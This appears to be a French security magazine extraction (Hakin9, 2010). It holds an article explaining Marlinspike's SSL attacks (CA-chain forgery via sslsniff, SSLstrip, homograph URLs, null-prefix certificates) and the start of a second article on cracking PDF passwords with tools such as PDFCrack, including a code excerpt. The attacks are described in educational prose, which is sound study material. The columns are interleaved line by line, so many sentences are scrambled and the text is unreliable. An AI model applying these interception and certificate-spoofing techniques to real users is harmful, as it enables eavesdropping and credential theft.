Check validity period and verify that this Une fois assimilés les concepts fonda-
Untrusted authority is signed by USA CA. Since USA CA is
CA certificate
not trusted, check the next certificate teurs et la structure d’un certificat, penchons-
nous à présent sur ses vulnérabilités
Check validity period and verify that this
Certificate issued by
Engineering CA
is signed by Engineering CA. Since
Engineering CA is not trusted, check
Le champ Basic Constraint
the next certificate Cette vulnérabilité est l’une des premières ex-
ploitées. Elle est aujourd’hui beaucoup plus ra-
re, mais les outils développés pour l’exploiter
sont indispensables pour tirer profit au maxi-
Program mum des dernières failles décelées. Comme
verifying the
certificate nous l’avons vu ci–dessus, lorsque la confian-
ce est accordée à un CA, tous les certificats
Figure 4. Dans le protocole OSCP, tous les CA doivent présenter leur certificat au navi- signés par ce CA sont considérés de confian-
gateur, jusqu’à ce que le CA père soit un CA root, autrement dit un CA de confiance ce et peuvent à leur tour signer des certificats.

Scénario de falsification de la chai-


ne des CA
Considérons le scénario suivant : Le do-
maine thoughcrime.org demande un cer-
tificat ; aucune raison ne s’y opposant, le
certificat lui est fourni. A partir de là, un ser-
veur appartenant à ce domaine est un ser-
veur de confiance. Il peut alors générer et
signer à son tour un certificat pour un autre
serveur comme www.paypal.com. Lors-
que ce certificat est proposé, le navigateur
fait ses vérifications habituelles, explicitées
précédemment. Le nom de domaine est
correct, les signatures sont valides, rien n’a
expiré, le chemin de CA semble intact, le
CA root est un CA de confiance. Le certifi-
cat est donc accepté et la communication
sécurisée entamée. Nous venons donc de
créer un certificat valide et accepté pour
Figure 5. Le champ basic constrainst permet de renseigner sur le statut du serveur en paypal, mais nous ne sommes pas pay-
possession du certificat pal.

66 HAKIN9 2/2010
SSL DEFEATING

Un champ omis L’attaquant ouvre également une SSLSTRIP


Ce problème provient d’un champ obs- connexion SSL normale vers le serveur lé- La première de ces méthodes repose sur une
cur trop souvent oublié, le champ Basic gitime, initialement appelé par la victime. exploration en profondeur des usages et de
Contraints. Ce champ a été proposé afin Des lors, nous nous retrouvons avec l’absence de norme de design autour de la
de distinguer les certificats délivrés, com- une double connexion SSL. La premiè- sécurité. Ainsi, le fait que les principaux acteurs
me le souligne la Figure 5. re relie la victime à l’attaquant, la secon- du domaine de l’informatique et de la sécu-
Tous les certificats ne sont pas faits pour de l’attaquant au serveur. Entre les deux, rité de l’information utilisent des conventions
valider et signer d’autres certificats ; certains les données sont en clair ce qui permet à floues n’aide pas l’utilisateur lambda à se po-
sont juste émis dans le but de valider un nom l’attaquant d’écouter, voire de modifier les sitionner par rapport aux risques encourus.
de domaine et une clé publique. Dès lors, il requêtes émises par le client de manière En effet, pour prendre un exemple, les dif-
faut un champ qui stipule que le certificat ne transparente pour ce dernier. férents navigateurs – voire les différentes ver-
peut être utilisé qu’à ce titre. Ce champ est le A l’heure actuelle, de grands acteurs sions d’un même navigateur – utilisent tous
champ Basic Constraint. Il est convenu que du domaine du web implémentant le SSL des codes différents pour signaler des choses
lorsque ce champ n’est pas explicitement n’ont toujours pas pris le temps de fixer ce similaires. – certificat non valide, utilisation du
précisé, le nœud ne peut pas signer à son problème. Ils rendent par conséquent leurs cadenas, petit drapeau vert… – En se plaçant
tour un certificat. La plupart des CA ne rem- clients vulnérables à ce type d’attaques au milieu de ces codes, il serait envisageable
plissent pas par défaut le champ basicCons- MITM. D’autres méthodes sont également de piéger l’utilisateur déjà habitué à une hété-
trainst :CA=FALSE. De plus, en pratique nous développées dans le but de détourner de rogénéité des signes, et sans réel repère. La
remarquons que ce champ n’est pas vérifié manière aussi discrète que possible la Figure 6 représente la différence des normes
systématiquement comme il le devrait par connexion SSL d’un client. de design quant à la situation normale où un
les navigateurs ou autres implémentations
qui utilisent SSL, ce qui permet la création et
l’utilisation de faux certificats.
L’outil SSLSNIF{outil disponible à
l’adresse http://www.thoughtcrime.org/
software.html} développé par Marlinspike Figure 6. L’hétérogénéité des tous les symboles ne permet pas à l’utilisateur une com-
exploite cette faille et permet de réaliser préhension solide des phénomènes de sécurité
une attaque de type Man In The Middle
– abrégé en MITM – pour les connexions
SSL. – cet outil a notamment été utilisé
par l’équipe HashClash lors de leur créa-
tion de faux certificats – Voilà un scénario
possible de l’attaque…

SSLSNIF, le scénario de l’attaque


L’attaquant, en position de MITM dans le
sous-réseau de sa victime, écoute, sans
les modifier, l’ensemble des trames qui cir-
culent. Il possède un certificat valide, pour
un domaine quelconque, par exemple, pour
reprendre l’exemple précédent, pour le do-
maine thoughtcrime.org. Dans le flux d’in-
formations, il intercepte une demande de
connexion pour un site sécurisé – la requê-
te vers un site qui utilise le protocole https://
impose une ouverture de connexion TCP
particulière visant le port 443, ce qui per-
met de la repérer – Il génère un certificat
pour le site en question – il lui suffit de rem-
plir dynamiquement les champs Subject et
Signature, tous les autres champs pouvant
être remplis préalablement. Le certificat est
signé avec la clé privée. Comme le nœud
n’est pas un root CA, il propose son certi- Figure 7. L’utilisation de cadenas dans des pages non sécurisées tend à piéger l’utilisa-
ficat. teur

2/2010 HAKIN9 67
PRATIQUE
certificat est validé par le navigateur – dans de le déchiffrer dans son ensemble, ce qui Cette attaque menée telle quel n’est
l’ordre IE, Firefox, Chrome – lorsque l’utilisateur peut être une tâche fastidieuse. pas transparente pour l’utilisateur mais
se connecte au site www.gmail.com reste tout de même très discrète pour un
Remarquons au passage que Chrome SSLSTRIP, le scénario de l’attaque utilisateur béotien. Ainsi, les seules différen-
est le seul des trois navigateurs à indiquer L’idée de l’attaque développée par Marlins- ces visibles sont la disparition du cadenas
sur la barre d’adresse quand la communica- pike repose sur la faiblesse de ce pont qui et du s dans la première partie de l’adres-
tion est chiffrée mais que certains éléments relie http et https – http qui, lui, peut être vic- se – https devient http – Pour le cadenas,
de la page sont transmis en clair. time d’une attaque de type MITM classique une solution consiste à exploiter une icône
Par ailleurs, certains éléments du desi- – puis l’exploitation avancée de la confu- favori lors de la communication, icône qui
gn d’une page non sécurisée employés à sion induite par le design des sites. L’outil ressemble au cadenas que l’utilisateur a
mauvais escient – comme un cadenas – SSLSTRIP permet d’obtenir un résultat in- l’habitude de voir lors de ses connexions
peuvent conduire l’utilisateur à la confusion. téressant. sécurisées.
Ainsi, il est possible de trouver des cade- L’attaquant, MITM dans le sous-réseau Dès lors, l’utilisateur est désormais tel-
nas – signe habituel d’une page sécurisée de sa victime écoute l’ensemble du trafic lement habitué à voir ce logo se déplacer
– sur des pages non sécurisées comme le http qui circule entre sa victime et le ser- selon les navigateurs ou les versions qu’il
représente la Figure 7. veur. ne sera pas forcément étonné de le voir
Un chaos de signes incohérents mais Dans le code source des pages en apparaître ici.
faisant appel à l’imaginaire trompent ain- direction de la victime, chaque référence Enfin, la confusion induite par les sites
si l’utilisateur. L’utilisateur est la plupart du <a href=https://…> est changée en <a eux–même lorsqu’ils proposent des picto-
temps appelé à faire confiance à l’applica- href=http://…>. Ceci est possible car le grammes en forme de cadenas sur des
tion, ce qui est le contraire même des fon- trafic utilise le protocole http ; il n’y a donc, sites non sécurisés, renforce notre position
dements de la sécurité ; cela présage des par défaut, aucune vérification d’intégrité. – cf. Figure 8.
failles intéressantes… Un tableau est construit et recense l’en- Une fois en position de MITM, l’atta-
semble de ces changements. quant peut, selon sa volonté, récupérer
Le pont vers https Les headers des connexions https l’ensemble des données transitant ou
Marlinspike explique lors de sa présenta- sont également modifiés en headers de modifier les requêtes et les réponses. Il
tion More tricks for defeating SSL in practice connexion http – il suffit de modifier quel- a pris la main sur le trafic en provenance
lors de la conférence BlackHat 09 la notion ques champs comme nom du protocole, et en direction de sa victime.
de pont qui existe aujourd’hui entre http et numéro de port, URL… ; une sauvegarde
https, pont qui constitue selon lui une gros- de ce qui a été modifié est conservée. Attaque par homographie
se faiblesse d’un point de vue de la sécu- Ces deux étapes permettent de chan- Une autre méthode proposée tente de réu-
rité. Ainsi, il remarque que les connexions ger la plupart des redirections explicitées tiliser la notion d’attaque par homographie
SSL sont la plupart du temps appelées précédemment, à savoir les boutons et les sur des connexions SSL.
par le protocole de communication http. En redirections http 302.
d’autres termes, le https est appelé par le Lorsque nous voyons une requête http L’attaque par homographie
http, l’utilisateur ne saisit jamais au grand vers une URL que nous avons dans nos L’attaque par homographie s’appuie sur le
jamais l’adresse https://www.monsite.com tableaux de sauvegarde – id est modifiée fait que certains caractères spéciaux ont
explicitement. L’appel passe par une redi- – nous envoyons nous-même une requête une forme très proche de caractères latins.
rection – http 302 – ou l’utilisation d’un bou- https vers le serveur. Pour donner un exemple simple, il est très
ton. Dans ce derniers cas, à moins d’être Ainsi, nous sommes en position de difficile de voir une différence entre les si-
un utilisateur averti et de pénétrer dans le MITM. Une connexion http relie l’attaquant tes paypaI.com et paypal.com – le i ma-
code source de la page, le client est appe- et sa victime ; une connexion https relie l’at- juscule ayant une forme proche de celle
lé à faire confiance à l’application. En effet, taquant et le serveur. Aucune boîte de dia- du l minuscule. Si cet exemple ne marche
lorsque le bouton redirige vers un lien https, logue ne prévient l’utilisateur d’un problème pas dans la pratique car la barre d’adres-
contrairement à un lien hypertexte – où de certificat – ce qui était jusqu’à présent le se ne conserve pas les majuscules, l’ap-
l’adresse appelée est disponible immédia- cas lorsque nous tentions de faire une at- pel à d’autres caractères, par exemple
tement en passant dessus avec la souris – taque MITM sur SSL – car la requête faite cyrilliques, peut s’avérer extrêmement ingé-
, le seul moyen de savoir où nous allons est par l’utilisateur est une requête http et non nieux. Ainsi, dans la mesure où il est possi-
de passer par le code source de la page et https. Par conséquent, elle n’appelle pas à ble d’enregistrer un nom de domaine avec
la vérification d’un certificat. des caractères spéciaux dont l’apparence
est très proche de celle de nos caractères
latins, Eric Johanson avait ainsi enregistré
Figure 8. L’utilisation de cadenas dans Figure 9. L’utilisation de caractères spé- en 2005 le domaine p&. #1072;ypal.com.
une icône tend à persuader l’utilisateur ciaux proches des caractères habituels Ce domaine utilise le caractère cyrillique
qu’il navigue sur une page sécurisée permettent de piéger l’utilisateur a qui ressemble beaucoup au caractère

68 HAKIN9 2/2010
SSL DEFEATING

latin a induisant par conséquent la confu- sont plus penchés. Ainsi, une fausse URL serveur légitime. Par ailleurs, le certificat
sion chez l’utilisateur. est créée. En finissant le bout précédent universel – pour l’ensemble du domaine
Ce problème de nom de domaine fai- avec .ijjk.cn, nous nous assurons que cet- *.ijjk.cn – permet en plus de prendre pour
sant appel à des caractères spéciaux a été te page fait effectivement partie de notre cible la totalité des sites sécurisés, ce qui
résolu par les navigateurs en faisant appel domaine. Dès lors, nous avons construit la est assez confortable pour une personne
à une syntaxe de codage simple : le pu- page google.com–slash–accounts–slash– malveillante.
nycode. Le punycode est défini dans RFC servicelog.ijjk.cn.
3492. Dès lors, pour les Top Level Domains SSL Certificate Defeating
comme .com les navigateurs récents pro- Le scénario de l’attaque Les attaques précédentes, bien que très
posent aussi bien dans la barre de statut L’attaquant se met en position de MITM efficaces supposent l’existence du pont
que dans la barre d’adresse, le change- par rapport à tout un sous-réseau. Il uti- http https. Néanmoins, ce pont n’existe
ment des caractères IDN – caractères in- lise une version légèrement modifiée de pas lorsque l’utilisateur saisit l’intégralité de
ternationaux –en caractères punycodes, SSLSTRIP. Au lieu de changer le https en l’adresse – https ://… – ou lorsque le si-
excitant alors la curiosité voire la méfiance http comme il le faisait dans la partie pré- te fait partie des marque-pages. Ces cas
de l’utilisateur. cédente, SSLSTRIP modifie à présent les sont assez embarrassants car les sites qui
URL des liens, des redirections ou des intéressent une personne malveillante sont
L’adaptation de l’attaque par homo- boutons pour les fausses URL de notre les sites de type compte mail, ou compte
graphie aux connexions SSL domaine – mêmes URL avec les slashs bancaire, qui figurent souvent parmi les fa-
L’idée est de reprendre ce concept d’atta- remplacés par les faux slash, .ijjk.cn. voris. Par ailleurs certains protocoles com-
que par homographie, de passer outre la Lorsqu’il veut se connecter à un site lé- me IMAPs, POPs… ne sont également
protection proposée par les navigateurs et gitime, l’utilisateur est amené de force sur pas vulnérables. La partie suivante propo-
de l’améliorer afin qu’elle puisse servir à le faux site de l’attaquant. Ensuite, le serveur se une méthode complètement différente
corrompre des sites sécurisés. Pour mener hébergeant le faux site propose le certifi- afin d’assujettir une bonne fois pour toutes
une attaque puissante, il faut rechercher cat de l’attaquant, certificat valide pour l’in- les certificats x509. Cette nouvelle métho-
une méthode qui puisse permettre une tégralité du domaine ijjk.cn. Le certificat est de repose sur une connaissance profonde
attaque généralisée ; elle doit idéalement accepté par le navigateur de la victime. La des protocoles de demande et de vérifica-
fonctionner avec l’ensemble des domaines communication sécurisée commence. tion des certificats.
– et pas seulement un nom de domaine D’un point de vue de l’utilisateur, cette
comme précédemment avec paypal.com. attaque est encore moins perceptible que La demande de certificat
La protection proposée par les naviga- la précédente car nous sommes toujours Dans la création d’un certificat, l’entité de-
teurs ne fonctionne que pour certains TLD sur du https, le certificat est valide et le ca- mandeuse du certificat envoie à l’autorité
sensibles, comme .com. Il s’agit de trouver denas apporte la conviction que tout est de certification un Certificate Signing Re-
un TLD qui n’imposera pas la traduction en ordre. quest. Cette requête spécifie la version du
par le navigateur. Marlinspike propose l’uti- Cette attaque est une attaque éclair, certificat avec laquelle le serveur souhaite
lisation de .cn – TLD équivalent au .fr pour que l’attaquant peut stopper à tout moment travailler, son domaine de validité, sa clé pu-
la chine { http://en.wikipedia.org/wiki/List_ en basculant de nouveau le trafic vers le blique ainsi que d’autres attributs. Ces re-
of_Internet_top–level_domains–}. Il deman-
de ensuite la création d’un certificat pour
l’ensemble du domaine ijjk.cn. Cela signi-
fie que l’ensemble des sites *.ijjk.cn devront
proposer ce certificat. Ce domaine sera
donc sécurisé et de confiance. Figure 10. Ouverture de connexion vers une page sécurisée
Par la suite, une recherche des carac-
tères prédominants dans le monde du web
souligne le fait que les URL regorgent de
symboles comme /, ? et &. Il s’agit donc de
trouver un caractère spécial qui puisse res-
sembler à l’un de ceux-là afin de créer une
fausse URL.
Après recherche, Marlinspike est donc
parvenu à trouver des caractères spéciaux
ressemblants à / .
La Figure 9 montre que les slashs en-
cadrant le nom de dossier accounts ne
sont pas ceux du clavier occidental – ils Figure 11. réponse du serveur lors du protocole Handshake

2/2010 HAKIN9 69
PRATIQUE
quêtes sont validées si le demandeur peut Handshake graphiques qui pourront être utilisées dans
justifier sa possession du domaine sur le- La première étape lors d’une connexion à la suite de la conversation. Ensuite, la chaî-
quel il souhaite proposer le certificat, c’est– une page sécurisée est l’ouverture d’une ne des certificats est jointe dans la suite du
à–dire le domaine stipulé par le certificat connexion TCP particulière visant le port message – certificat du serveur et de l’en-
au champ Common Name. Par exemple, 443 – port https. Celle–ci ressemble à une semble des CA qui sont intervenus dans la
pour la page bankofamerica.com , l’autori- ouverture de connexion TCP classique, en chaîne de confiance – , avant la dernière
té de certification vérifie la possession du trois étapes : https[SYN] https[SYN,ACK] partie server Hello done (cf. Figure 11).
root domain. Une recherche dans la base https[ACK]. Après l’échange de ces trois Lorsqu’il reçoit le certificat, le navigateur
de données WHOIS LOOKUP indique que messages, la communication est lancée commence par contrôler le champ ‘sub-
l’adresse mail domain.admin@bankofame- entre la station et le serveur. ject’ qui permet de confirmer que le site
rica.com appartient à l’administrateur du La Figure 10 est une capture d’écran auquel l’utilisateur essaie de se connecter
root domain bankofamerica.com. Ce qui est obtenue à partir du logiciel Wireshark. est vraiment le site qui propose son certi-
important ici, c’est que la plupart des autori- Nous y voyons les trois étapes nécessai- ficat. Le champ subject est présenté com-
tés de certification ne s’intéresse qu’au root res à l’ouverture d’une connexion TCP entre me suit (cf. Figure 12).
domain, sans se préoccuper du SubDo- la station 172.16.204.204 – qui demande Le navigateur se concentre en réalité
main. Par conséquent, dans notre deman- l’ouverture de la connexion avec le messa- sur le sous-champ CN qu’il compare avec
de de certificat, il est possible de saisir des ge SYN – et le serveur 64.4.241.33. Une fois l’URL saisie dans la barre d’adresse. Il s’agit
champs comme iiiiiiiiiiiiiiiiiiii.bankofamerica. la connexion établie, le protocole Handsha- donc de comparer la chaîne de caractères
com ou encore jesuisunhacker.bankofame- ke est mis en place. de la barre d’adresse avec celle présente
rica.com. Tout ceci n’a aucune importance, Le client envoie un message client Hel- dans le certificat. Une fois ce champ contrô-
dans tous ces cas c’est juste la possession lo {http://tools.ietf.org/html/rfc2246} vers le lé, il passe en revue la validité des signa-
du root domain – à savoir bankofamerica. serveur. Ce message contient le type du tures ainsi que l’expiration des certificats.
com – qui devra être confirmé pour l’obten- message – client Hello – , la version TLS Enfin, c’est la non corruption de la chaîne
tion du certificat. utilisée, l’ensemble des protocoles de chif- des certificats qui est analysée au moyen
Enfin, il est essentiel de comprendre frement supportés par le navigateur, l’en- du protocole OSCP.
que les CN sont représentés dans le cer- semble des méthodes de compression
tificat comme une chaîne pascal, id est un supportées par le navigateur, le nom du L’obtention d’un certificat
tableau de caractères qui commence par serveur visé ainsi que d’autres champs L’idée de cette attaque est de présenter un
la taille de la chaîne, suivi de la chaîne de complémentaires et aléatoires. Ce messa- certificat valide pour l’utilisateur. Dans un pre-
caractères. Dans ce langage de program- ge appelle une réponse du serveur. Le ser- mier temps, considérons que l’attaquant sou-
mation, le caractère ‘\0’ est un caractère veur envoie alors un message qui contient haite piéger l’utilisateur sur le site paypal .com.
comme un autre et n’a pas le sens de ca- trois données primordiales :server Hello, Il doit donc lui fournir le certificat de www.pay-
ractère de fin comme il pourrait l’avoir avec Certificate, server Hello done. pal.com. S’il lui fournit le certificat réel de pay-
d’autre langage comme le C. Dans la partie server Hello, le serveur pal, il ne tirera aucun profit de cette action. En
Une fois qu’il possède le certificat, le propose un numéro de session qui per- effet, ne possédant pas la clé privée relative
serveur est en mesure de commencer des mettra de rattacher la conversation à un à la clé publique présentée dans le certifi-
discussions sécurisées avec ses clients. contexte, et explicite les données crypto- cat, il sera dans l’incapacité de déchiffrer les
messages. Il s’agit donc pour l’attaquant de
proposer un certificat valide – id est signé par
Sur Internet une autorité de certification – avec sa clé pu-
• http://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike- blique mais avec le CN www.paypal.com.
Defeating-SSL.pdf – slides de la présentation de Moxie Marlinspike, Quoi qu’il en soit, il faut passer par une
• http://www.securitytube.net/Defeating-SSL-using-SSLStrip-(Marlinspike-Blackhat)-video. autorité de certification. S’il demande au CA
aspx – vidéo de la présentation de Marlinspike à la conférence BlackHat de lui fournir un certificat pour le CN www.
• http://www.thoughtcrime.org/ – page perso de Marlinspike sur laquelle sont disponibles les paypal.com, dans la mesure où il ne pos-
outils décrits dans l’article
sède pas le root domain correspondant,
le CA lui renverra une réponse négative.
En revanche, considérons que l’attaquant
possède le domaine toughtcrime.org. Il lui
est alors possible de réclamer un certifi-
cat pour les CN www.thoughtcrime.org,
iiiiiiiiiiiiiiiiii.thoughtcrime.org, jesuisunhacker.
thoughtcrime.org ou encore par exemple
www.paypal.com\0.thoughtcrime.org. En ef-
Figure 12. Contrôle de l’identité du serveur fet, comme vu plus haut, le CA pour accor-

70 HAKIN9 2/2010
SSL DEFEATING

der le certificat ne se concentre que sur sont identiques et le navigateur passe à l’éta- que, le NSS de Mozilla est la pire victime.
le root domain – ici thoughtcrime.org – qui pe suivante de sa vérification. Cette méthode peut alors être améliorée
lui appartient. Ainsi, lorsqu’il soumet le CN Comparons ces deux chaînes comme pour offrir un certificat universel qui peut
www.paypal.com\0.thoughtcrime.org, le CA le fait la fonction strcmp. être présenté à l’utilisateur lorsqu’il souhaite
fait son WHOIS LOOKUP et envoie un mail www.paypal.com\0.thoughtcrime.org\0, se connecter à un site sécurisé. Cela signi-
de vérification au propriétaire du root do- www.paypal.com\0 fie que notre certificat sera valide quelque
main, sans se préoccuper du subdomain. La fonction compare les deux chaînes soit le site visité par l’utilisateur. Ainsi, une
L’attaquant possède donc un certificat va- jusqu’à la fin, id est jusqu’à arriver au carac- position MITM dans un sous-réseau per-
lide pour le CN www.paypal.com\0.thought- tère nul. Or, jusqu’au caractère \0, les deux mettra de récupérer l’ensemble des don-
crime.org. chaînes sont identiques. Lorsqu’il arrive au nées chiffrées.
caractère nul, le navigateur passe à la suite. Il La lecture du code source de NSS
L’attaque considère alors que le CN est valide. La sui- nous apprend qu’il est possible de faire un
L’attaquant se met en position de MITM te des vérifications ne pose aucun problème certificat pour *\0thoughtcrime.org… Si les
comme dans toutes les attaques précé- puisque la démarche a été suivie minutieu- autres implémentations de SSL nécessi-
dentes. Lorsque sa victime veut se connec- sement. Le certificat présenté est donc valide tent un certificat différent pour chaque site
ter au serveur www.paypal.com, l’attaquant pour la plupart des implémentations de SSL visité, NSS n’a besoin que d’un seul certifi-
lui soumet son certificat pour le serveur – Firefox, IE, chrome, Lynx, Curl, Thunderbird, cat, universel. Il est alors possible de cap-
www.paypal.com\0.thoughtcrime.org. se fai- Outlook, Evolution, Pidgim, AIM… turer l’ensemble des connexions ouvertes
sant ainsi passer pour le serveur légitime. D’un point de vue fonctionnel, la version par une application NSS – Firefox, Thunder-
Quand il reçoit le certificat, le navigateur 0.6 de SSLSNIFF permet de réaliser cet- bird, Evolution, Pidgin, AIM – vers un serveur
client commence par vérifier le champ sub- te attaque. L’attaquant occupe une place quelconque. La version 0.6 de SSLSNIF est
ject, id est la corrélation entre l’URL saisie et de MITM. Lorsque l’utilisateur essaie de se à jour et permet de faire la différence en-
le CN du certificat. La plupart des implémen- connecter, SSLSNIFF vérifie s’il a un certi- tre un client NSS auquel il doit présenter un
tations actuelles de SSL/TLS considèrent les ficat à préfixe nul à présenter à la victime. certificat universel, où un autre client à qui il
chaines de caractères comme des chaines Si c’est le cas, il présente son certificat et présentera un certificat à caractère nul.
C et utilisent à ce titre les fonctions de com- ouvre une connexion légitime vers le ser-
paraison et de manipulation proposées par veur. Dès lors, nous avons deux connexions Conclusion
les bibliothèques de C. Nous sommes donc SSL : la première entre la victime et l’uti- Après les premières secousses qui ont
ramenés au cas suivant : une première chaî- lisateur, la seconde entre l’attaquant et le ébranlées SSL depuis sa création, Mar-
ne de caractères issue du certificat – chai- serveur. Une fois de plus, les données tran- linspike vient de remettre en cause outre
ne1 – et une seconde chaîne de caractères sitent en clair dans la station de l’attaquant, les vulnérabilités techniques qu’il est diffi-
issues de l’URL – chaine2–. Le navigateur ce qui lui permet de les modifier et de les cile d’éviter – dans la mesure où les pro-
fait appel à la fonction strcmp(chaine1, voler à sa guise. grammes sont conçus et implémentés par
chaine2). Si strcmp(chaine1, chaine2) Si plusieurs implémentations SSL sont l’homme – des failles de concordances
= 0 alors, les deux chaînes de caractères susceptibles d’être sensibles à cette atta- des différents acteurs du domaine de la
sécurité de l’information. L’informatique ne
La signature numérique doit pas être une science ésotérique. L’uti-
Une signature numérique permet au destinataire de s’assurer que le message n’a pas été modifié lisateur béotien est pris entre des enjeux
depuis sa création. Elle repose sur les notions de hash et de chiffrement. qu’il ne saisit pas, qu’il ne comprend pas ; il
Une fonction cryptographique de hash est une fonction déterministe qui prend en entrée un est au cœur d’une guerre entre les grands
bloc arbitraire de données et retourne en sortie une chaîne de caractères de longueur fixe – qui dé- acteurs du domaine qui refusent de s’har-
pend de la fonction – , le hash; Par construction de cette fonction, une modification même mineure
moniser pour lui offrir une vision claire, ou
d’une donnée en entrée change de façon significative le résultat de sortie. Une des conditions prin-
cipales de validation d’une fonction de hachage est qu’il est difficile de trouver deux messages dif-
des acteurs plus petits qui parviennent à
férents qui possèdent la même valeur de sortie. Dès lors, deux messages qui ont le même hash embrouiller les bases. D’autres vulnérabili-
sont considérés comme identiques. tés ont également été récemment, comme
Pour signer un message, l’expéditeur calcule le hash du message et chiffre ce hash avec sa l’exploitation de collision MD5 pour générer
clé privée. Le résultat obtenu est appelé signature numérique. Elle est envoyée avec le message. un faux certificat.
Lorsque le destinataire veut vérifier l’intégrité du message et l’authentification de l’expéditeur, il
déchiffre la signature avec la clé publique de l’expéditeur – disponible par ailleurs. Ensuite, il calcule
à son tour le hash du message avec la même fonction de hachage et compare les deux résultats.
À propos de l’auteur
S’ils sont identiques, alors, le message sera considéré comme ayant été effectivement été envoyé David est étudiant à Télécom Paristech, école d’ingé-
par l’expéditeur spécifié et qu’il n’a pas été modifié. nieurs spécialisée dans les nouvelles technologies de
La fonction de hachage utilisée joue un rôle décisif. Pour des raisons de sécurité, il est primor- l’information et de la communication. Actuellement élève
d’un master concernant la sécurité de l’information il s’in-
dial d’utiliser une fonction jugée sûre. Aujourd’hui – aout 2009 – la NSA considère les fonctions téresse aux vulnérabilités non seulement techniques
SHA256 et SHA512 comme sûres. Nous ne devrions pas utiliser d’autres fonctions – SHA1 n’est mais également humaines, honorant ainsi le social engi-
pas sûre, MD5 non plus depuis décembre 2008. neering d’une place de choix sur la scène de l’intrusion
dans un système d’informations.

2/2010 HAKIN9 71
PRATIQUE
ALEXANDRE LACAN

Sécurité des mots


de passe dans les
fichiers PDF
Degré de difficulté
La méthode la plus simple et la plus rapide pour la protection des
fichiers PDF est l'utilisation des mots de passe : elle permet de
garder un équilibre entre sécurité et rentabilité. Néanmoins, une
mauvaise politique de mot de passe risque facilement de mettre
en danger les données confidentielles d'une entreprise.

A
ujourd'hui, les entreprises considèrent De par są popularité, RC4 a fait l'objet de
l'information comme une donnée nombreuses recherches et n'est plus considéré
essentielle et stratégique qu'il faut protéger. comme sûr. L'ajout de fonctionnalités de chiffre-
La sécurité des systèmes d'information doit tenir ment en AES 128, puis en AES 256, a permis
compte qu'un document peut être diffusé, mais d'atteindre un niveau de sécurité "confortable",
avec des limitations (interdire l'impression, la pour peu que la stratégie de mot de passe soit
modification, la copie du contenu, …). robuste.
Pour répondre à ces besoins, Adobe fait ré- Depuis 2001, avec la version Adobe 5, il est
gulièrement évoluer le modèle de structure des possible de protéger les fichiers PDF par des certi-
fichiers PDF depuis 1993. ficats. Cet article n'abordera pas ce sujet.

Listing 1. Exemple extrait du code source de PDFCrack

md5(encKeyWorkSpace, 32, enckey);


md5_50(enckey);
memcpy(test, encdata->o_string, PARTIAL_TEST_SIZE);
RC4_DECRYPT_REV3(PARTIAL_TEST_SIZE);
/** if partial test succeeds we make a full check to be sure */
if(unlikely(memcmp(test, password_user, PARTIAL_TEST_SIZE) == 0)) {
memcpy(test, encdata->o_string, 32);
RC4_DECRYPT_REV3(32);
if(memcmp(test, password_user, 32) == 0)
return true;

CET ARTICLE
EXPLIQUE...
les différents niveaux de mot de
passe d'un fichier PDF,
Sur le réseau
• http://en.wikipedia.org/wiki/PDF – Histoire et description du format PDF d'Adobe,
comment récupérer le mot de • http://sourceforge.net/projects/pdfcrack – Projet PDFCrack
passe.
• http://learn.adobe.com/wiki/download/attachments/52658564/acrobat_security_admin_guide_90.pdf - Gui-
CE QU'IL FAUT de de sécurité Acrobat
SAVOIR... • http://www.adobe.com/security/pdfs/acrobat_livecycle_security_wp.pdf - Introduction à la sécurité des docu-
ments électroniques
utiliser le système Linux,

avoir des notions de chiffrement.

72 HAKIN9 2/2010
SÉCURITÉ DES MOTS DE PASSE DANS LES FICHIERS PDF

Deux types de mot de passe n'étant pas chiffré, il est aisé de le re- ne chif frer que les pièces jointes, tant
Pour protéger un document PDF, il existe copier sans apposer les éléments de qu'elles sont enregistrées dans ce do-
deux niveaux de sécurité (cf. Figure 1). protection. cument, le reste du document n'étant
Le mot de passe d'utilisation ("owner Le mot de passe d'ouverture ("open pas chif fré.
password"), permet de protéger le fi- password") permet un chif frement in-
chier contre : l'impression, l'assemblage tégral ou partiel du document. Il est Attaque de fichier PDF
du document, la copie du contenu, l'ex- possible de ne pas chif frer les méta- Pour attaquer un document PDF protégé
traction de pages, l'ajout de commen- données, afin de permettre l'indexation par mot de passe, de nombreux outils
taires, … Il ne permet pas de bloquer la par les moteurs de recherches (sur In- commerciaux, et quelques logiciels open-
visualisation du document, et ne chiffre ternet, ou en local). Depuis la version source, existent sur le marché, plus ou
donc pas ce document. Le document Adobe 7, il est également possible de moins performants. Nous allons en énu-
mérer quelques-uns :

AES vs RC4 • APDFPR, de la société Russe Elcom-


AES (Advanced Encryption Standard) est un algorithme de chiffrement symétrique issu d'un
soft (http://www.elcomsoft.fr), est l'un
appel à candidature international lancé en janvier 1997. Il est aujourd'hui considéré comme sûr,
car il n'a pour l'instant pas été cassé, et la recherche exhaustive ("force brute") demeure la seule des plus performants du marché, en
solution. licence payante.
RC4 (Ron's Code) est un algorithme de chiffrement par flot, conçu en 1987 par Ronald Rivest. • PDFCrack, développé par Henning
Populaire, il a fait l'objet de nombreuses recherches sur są sécurité. Il est considéré comme peu Noren (alias confusion42) (http://
sûr et ne devrait plus être utlisé pour le chiffrement de nouveaux documents. sourceforge.net/projects/pdfcrack),
est un outil en ligne de comman-
Evolution de PDFCrack de, capable de casser les mots de
L'outil pdfcrack en version 0.11 ne prend pas en charge les documents chiffrés par la version passe jusqu'à la version Adobe 8 (la
Adobe Acrobat 9. Son auteur, Henning Noren, alerté a prévu d'en publier une nouvelle version
nouvelle version 0.12 paraîtra dans
avant le début janvier 2010. Celle-ci apportera également le support du multithreading. D'autres
quelques jours). Une version Cygwin
évolutions sont prévues, comme l'implémentation de SHA256 pour le support de PDF1.7 exten-
sion 3. pour Windows existe également (http:
//blog.rubypdf.com/pdfcrack). Cet
outil ne permet pas de déchiffrer

Figure 2. Attaque par force brute avec


APDFPR

Figure 3. Bench d'attaque avec PDF-


Figure 1. Restrictions d'un document PDF Crack

2/2010 HAKIN9 73
PRATIQUE
ou déprotéger un document, mais se la longueur et la complexité du mot de une récupération quasi instantanée des
contente de rechercher son mot de passe. mots de passe. Cette technique n'est
passe. réellement efficace que contre des chif-
• PDFCrypt (http://blog.rubypdf.com/ Dictionnaire frements RC4 40 bits, implémenté dans
2008/11/18/pdfcrypt-another-free-pdf- L'attaque par dictionnaire est évidemment Adobe 2.0 et donc très désuet. Ces ta-
encrypt-and-decrypt-software), sous plus rapide, mais moins exhaustive que bles sont générées sur le modèle des
